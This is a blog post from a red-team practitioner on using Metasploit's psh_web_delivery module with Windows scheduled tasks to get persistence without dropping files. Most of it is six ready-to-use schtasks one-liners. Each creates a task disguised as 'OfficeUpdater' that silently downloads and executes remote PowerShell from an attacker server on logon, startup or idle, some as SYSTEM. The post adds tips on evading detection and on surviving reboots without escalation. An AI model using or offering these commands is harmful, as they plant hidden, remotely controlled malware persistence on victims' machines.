h1

Schtasks Persistence with PowerShell One Liners

November 9, 2013

One of my favorite Metasploit Framework modules is psh_web_delivery. You can find it in exploits -> windows -> misc. This module starts a local web server that hosts a PowerShell script. This module also provides a PowerShell one liner to download this script and run it. I use this module all of the time in my local testing. Here’s the output of the module:

pshwebdelivery

When I provide red team support at an event, persistence is something that usually falls into my lane. Sometimes, people catch my persistence when they find an EXE or DLL artifact with a recent timestamp. Ever since I started to use psh_web_delivery in my testing, I wondered if I could also use it for persistence without dropping an artifact on disk. The answer is yes.

Here’s how to do it with schtasks:

#(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

#(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

#(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

Each of these one liners assumes a 32-bit PAYLOAD.

I’m not a PowerShell developer, so the hardest part of this exercise for me was the quoting. I’ve never seen anything quite like PowerShell’s convention for escaping quotes. PowerShell includes an option to evaluate a Base64-encoded one liner. I tried to go this route, but I hit the character limit for the task I could schedule.

One interesting note–you may schedule a task for the user idle event as a non-privileged user. If you need to survive a reboot on a system that you can’t escalate on, this is an option. If you test this option–beware that Windows checks if the user is idle once every fifteen minutes or so. If you schedule an onidle event for 1 minute, don’t expect to see a session one minute later.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 13,543 other followers